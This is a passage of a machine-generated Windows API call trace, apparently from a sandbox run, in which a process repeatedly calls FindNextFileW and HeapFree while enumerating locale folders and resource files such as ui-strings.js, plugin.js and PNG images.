	[0173.157] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0173.157] FindNextFileW (in: hFindFile=0x394b4f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1
	[0173.158] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0173.158] FindNextFileW (in: hFindFile=0x394b4f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1
	[0173.163] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0173.163] FindNextFileW (in: hFindFile=0x394b4f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec18c5e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec18c5e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec18c5e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1
	[0173.164] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0173.164] FindNextFileW (in: hFindFile=0x394b4f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1
	[0173.166] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0173.166] FindNextFileW (in: hFindFile=0x394b4f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec18c5e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec18c5e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec18c5e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1
	[0173.167] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0173.167] FindNextFileW (in: hFindFile=0x394b4f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec18c5e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec18c5e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec18c5e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1
	[0173.167] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0173.167] FindNextFileW (in: hFindFile=0x394b4f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec18c5e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec18c5e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec18c5e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1
	[0173.168] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0173.168] FindNextFileW (in: hFindFile=0x394b4f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1
	[0173.187] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0173.188] FindNextFileW (in: hFindFile=0x394b4f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec18c5e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec18c5e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec18c5e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1
	[0173.188] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0173.188] FindNextFileW (in: hFindFile=0x394b4f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1
	[0173.188] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0173.188] FindNextFileW (in: hFindFile=0x394b4f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1
	[0173.196] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0173.196] FindNextFileW (in: hFindFile=0x394b4f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1
	[0173.197] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0173.197] FindNextFileW (in: hFindFile=0x394b4f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1
	[0173.197] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0173.197] FindNextFileW (in: hFindFile=0x394b4f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1
	[0173.198] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0173.198] FindNextFileW (in: hFindFile=0x394b4f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec18c5e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec18c5e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec18c5e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1
	[0173.198] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0173.198] FindNextFileW (in: hFindFile=0x394b4f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0173.199] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0173.199] FindNextFileW (in: hFindFile=0x394b4f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1
	[0173.199] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0173.199] FindNextFileW (in: hFindFile=0x394b4f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1
	[0173.200] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0173.200] FindNextFileW (in: hFindFile=0x394b4f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0
	[0173.200] FindClose (in: hFindFile=0x394b4f8 | out: hFindFile=0x394b4f8) returned 1
	[0173.200] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0173.200] FindNextFileW (in: hFindFile=0x394bb78, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec18c5e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec18c5e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec18c5e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f85, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1
	[0173.200] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0173.200] FindNextFileW (in: hFindFile=0x394b578, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0
	[0173.200] FindClose (in: hFindFile=0x394b578 | out: hFindFile=0x394b578) returned 1
	[0173.200] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0173.203] FindNextFileW (in: hFindFile=0x394b538, lpFindFileData=0x2fbe69c | out: lpFindFileData=0x2fbe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="scan-files", cAlternateFileName="SCAN-F~1")) returned 1
	[0173.362] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0173.362] FindNextFileW (in: hFindFile=0x394bc38, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1
	[0173.366] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0173.366] FindNextFileW (in: hFindFile=0x394b6f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb802d9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb802d9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb802d9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x13362, dwReserved0=0x0, dwReserved1=0x0, cFileName="appstore.png", cAlternateFileName="")) returned 1
	[0173.370] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0173.370] FindNextFileW (in: hFindFile=0x394b6f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb802d9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb802d9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x129ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="playstore.png", cAlternateFileName="PLAYST~1.PNG")) returned 1
	[0173.370] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0173.370] FindNextFileW (in: hFindFile=0x394bab8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb802d9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themeless", cAlternateFileName="THEMEL~1")) returned 0
	[0173.370] FindClose (in: hFindFile=0x394bab8 | out: hFindFile=0x394bab8) returned 1
	[0173.370] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0173.370] FindNextFileW (in: hFindFile=0x394bc38, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0173.371] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0173.371] FindNextFileW (in: hFindFile=0x394ba78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1
	[0173.371] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0173.371] FindNextFileW (in: hFindFile=0x394ba78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1
	[0173.371] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0173.371] FindNextFileW (in: hFindFile=0x394ba78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1
	[0173.371] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0173.371] FindNextFileW (in: hFindFile=0x394ba78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1
	[0173.371] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0173.372] FindNextFileW (in: hFindFile=0x394ba78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1
	[0173.372] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0173.372] FindNextFileW (in: hFindFile=0x394ba78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1
	[0173.372] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0173.372] FindNextFileW (in: hFindFile=0x394ba78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1
	[0173.372] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0173.372] FindNextFileW (in: hFindFile=0x394ba78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1
	[0173.372] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0173.372] FindNextFileW (in: hFindFile=0x394ba78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1
	[0173.372] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0173.373] FindNextFileW (in: hFindFile=0x394ba78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1
	[0173.373] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0173.373] FindNextFileW (in: hFindFile=0x394ba78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1
